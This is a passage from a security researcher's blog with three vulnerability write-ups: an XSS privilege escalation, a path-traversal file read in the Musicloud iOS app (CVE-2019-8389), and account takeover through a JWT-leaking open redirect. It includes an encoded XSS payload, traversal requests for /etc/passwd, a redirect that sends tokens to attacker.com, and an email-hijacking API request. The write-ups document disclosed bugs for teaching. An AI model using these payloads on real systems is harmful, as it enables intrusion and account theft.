<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxLm9wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlLm9yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script> 

In the following screenshot we can see that our user is having access to limited functionalities:
Attacker's account before exploit

After successfully executing our exploit code in a higher privileged user, our account will have highest privileges and access to admin functionalities. As seen in the screenshot below:
Attacker's account after exploit execution

Take aways:

  1. Whenever testing for XSS vulnerabilities, don't just stop when the application is properly filtering user input such as < > and other characters. Move one step further and try other techniques to achieve XSS such as the one mentioned in this write-up. Try using {{alert(1}} or try to upload files such as .swf, .svg, .html, .url and others.
  2. Never stop at detection of a vulnerability, always try to play around to know its limitations and its range. In case of XSS, try to interact with unique functionalities, fuzz around to see what else you can achieve instead of just a popup.
  3. Try something unique & think out of the box!




Sunday, February 17, 2019

CVE-2019-8389 - Arbitrary file read in Musicloud v1.6





Greetings everyone, this is Shawar Khan and today I am going to share a vulnerability that I found in an iOS application named Musicloud v1.6. This is a music player that allows users to store and play music from different sources. Music can be imported from different areas such as Dropbox, Google Drive and Computer as well. In order to transfer the music between the phone and the computer a user have to turn on Wifi-Transfer feature:
By default the services runs on port 8080 on the IP address of the mobile phone which in this case is 192.168.1.100. Anyone on the entire network can access the WIFI-transfer service on port 8080. Accessing the port 8080 will return the following page:


The application uses the following endpoints to perform Upload & Download functions:
  • /download.script - used for downloading a music
  • /upload.script - used for uploading a music
 If we download a single music such as music-1.mp3 then it will send a GET request to http://192.168.1.100:8080/music-1.mp3?download but when 2 selected files are downloaded, the following request is made:

POST /download.script HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100:8080/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Connection: close

downfiles=music-1.mp3%0D%0Amusic-2.mp3&cur-folder=


This will create a MusicPlayerArchive.zip file with the content of music-1.mp3 & music-2.mp3 so accessing http://192.168.1.100:8080/MusicPlayerArchive.zip will return the zip file with the content of 2 music files.Also, the empty value of "cur-folder" specifies the current directory so if its empty it means we are requesting content from the path ./ so in the case above it is requesting the file from path ./music-1.mp3.

As we are able to control the path, we can request any file by simply setting the path along with the specified file. So in order to request the file /etc/passwd we will set the following values to the specified parameters:
downfiles=passwd&cur-folder=../../../../../../../../../etc/

So we will just simply make a request to download.script using the values mentioned above in order to create a MusicPlayerArchive.zip with the content of /etc/passwd:
POST /download.script HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100:8080/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close

downfiles=passwd&cur-folder=../../../../../../../../../etc/

and we will get the content of the file by requesting the MusicPlayerArchive.zip:



and we were successfully able to read /etc/passwd of the victim's iPhone. Thats how this vulnerability was exploited. I wrote a little exploit to automate the entire process and it will be available on exploit-db:



The exploit can be seen below:






Sunday, January 27, 2019

Hijacking accounts by retrieving JWT tokens via unvalidated redirects




About the writeup 

Greetings everyone hope you are doing well, its been a while since my last write-up. After some busy days I decided to give back to the community. Today, I'm going to share an interesting write-up of a vulnerability that I found in a bug bounty program. Basically the root issue is the Unvalidated redirection but I decided to take it further than just a redirection so lets start.

Getting to know the application

When targeting a company or an application the first thing is to identify the application flow and working of its mechanisms. Testing for a list of vulnerabilities without understanding the application doesn't make any sense to me so I started to test the unauthenticated areas. Before going further, I want to tell you guys that I divide the application into 2 parts. The first one includes the areas that doesn't require authentication and then the areas that requires authentication this way we can easily perform proper testing among those. So, one other important thing is the login mechanism.

Understanding the Login process

Understanding the login process is a very important when performing a penetration test. If we can understand the login flow, it is easy to crack our way into the accounts. When testing logins, see how the application reacts when correct credentials are given. In some cases the application just takes credentials and returns the cookies that is called cookie-based authentication where as in some cases the application returns a valid token such as JWT which is used to authenticate to areas. If a user is being authenticated by cookies our main goal should be targeting them and making a way to steal them but in my case a valid passwords returns a JWT token which was being used to interact with the APIs. So, in my case the authentication flow was "token-based" and in a nut-shell, If I'm having a valid token of victim then the application will recognize me as the victim. Have a look at this article to know different authentication flows.

One-time usable JWT token

Upon a valid login, the application does a 302 Redirect towards /dashboard with the GET parameters token & email. The token parameter holds a JWT token that is only usable for a single time. This token will be used to communicate with an API endpoint token which is located at /aapi/v1/authentications/token to receive a permanent JWT token .

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie: ...

Reusable JWT Token

After the first token is received the application sends a GET request to /aapi/v1/authentications/token with the first JWT token in the Authorization header:

GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close


This request will return a Permanent JWT token that will be used throughout the entire API.

{
"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"
}

Now this is the second JWT token that is received and this is used in all the API endpoints. The previous JWT token that was received via the redirection can not be used multiple times our main focus will be stealing the second token that was received in the response of /token.

Unvalidated redirection on all domains

During my testing I explored different subdomains of the application and found that a subdomain that was a having forum. In order to use the forum the application requires an authenticated user so in order to authenticate the user the application returned me back to secure.site.com which was the domain where I was testing the authentication mechanism. This was confirmed that all authentication of the subdomains and other areas were covered by a single authentication mechanism that was located in secure.site.com. So if I simply login, the application will return me back to forum.site.com authenticated!

This was interesting and I found that there was some redirection being done. I identified how the application knew I was on the Forum subdomain, sometimes its the referrer header based on which the application redirects by in my condition I found that when I was sent to secure.site.com a new GET parameter named my_results_redirect was also sent along. So my initial location before redirecting to forum was /login?my_results_redirect=https://forum.site.com/

Now after performing the login with the "my_results_redirect" having the value https://forum.site.com, I found that the application had the following response:

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie:

I found that I was able to tamper the redirection area of token by manipulating the value of my_results_redirect parameter. So if its value is set to https://shawarkhan.com then the application will redirect the user to https://shawarkhan.com. The my_results_redirect parameter was processed on all the subdomains so all domains were having unvalidated redirect but as our target was secure.site.com I kept my focus on it.

Retrieving the one-time-use JWT:

So if a crafted URL is visited by an authenticated user, I will receive the JWT on my host. A quick python -m SimpleHTTPServer 80 and after a victim visited https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard , I received the first JWT token!


Retrieved the first JWT token

Now it was time to make a request to /aapi/v1/authentications/token to receive a final JWT token. I made the request and found that the request was rejected. It was a bit confusing moment as the entire process was properly followed. I followed each step and found it was not working properly and I wasn't able to obtain the second JWT token. Aha! Protections?

Some 0.01% protections?

I found that the developers had implemented some minor protections in order to prevent unauthorized use of the first token. Even I followed the same steps that the application was doing so the reason why my request was being rejected was the delay. The application directly sends the token to the API just after its generated so there is a very little delay between the generation time and the time at which its sent to the API.  The followings were some minor issues:
  • Token was one time usable
  • Token expires within a few seconds
In order to get rid of expiration issues, I automated a few steps using the python code below:



The code communicates with the /token API endpoint and retrieves the JWT token from the response which is further used to communicate with the API endpoints. The entire application was using the API to change account information and for other functions.

Permanent JWT token retrieved


Time to play

Now using the permanent JWT token it was possible to communicate with the APIs as now we had victim's JWT token. There was an API endpoint /aapi/v1/users/1 which accepts a PUT reques. It was possible to manipulate victim's email address to attacker's email address and afterwards changing password via email will result in a complete account compromise. By sending the following request with vicitm's JWT token, I was able to change victim's email to attacker@shawarkhan.com:

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close

{"id":id,"user":{"consumer_attributes":{"dob":"1986-01-26","gender":"female","wants_marketing":true},"first_name":"Demo","last_name":"User","phone_number":"512-000-0000","email":"attacker@shawarkhan.com"}} 


So thats how I was able to completely hijack victim's account. Make sure to share this write-up to let people know how risky redirections vulnerabilities can be. These kind of vulnerabilities are often neglected and ignored most of the times and are sometimes considered low-risk.

Know your target, understand how it works. Find a vulnerability and exploit it to its max to know its limits!  - Shawar Khan




Services

What can I do


Web-App Penetration Testing

Provides a complete Penetration Test against the web application in order ensure its safety.

Android App Penetration Testing

Provides Android Application Penetration Testing in order to make the app & secure.

iOS App Penetration Testing

Provides iOS Application Penetration Testing in order to make the app & secure.

Want to contact?

Get in touch with me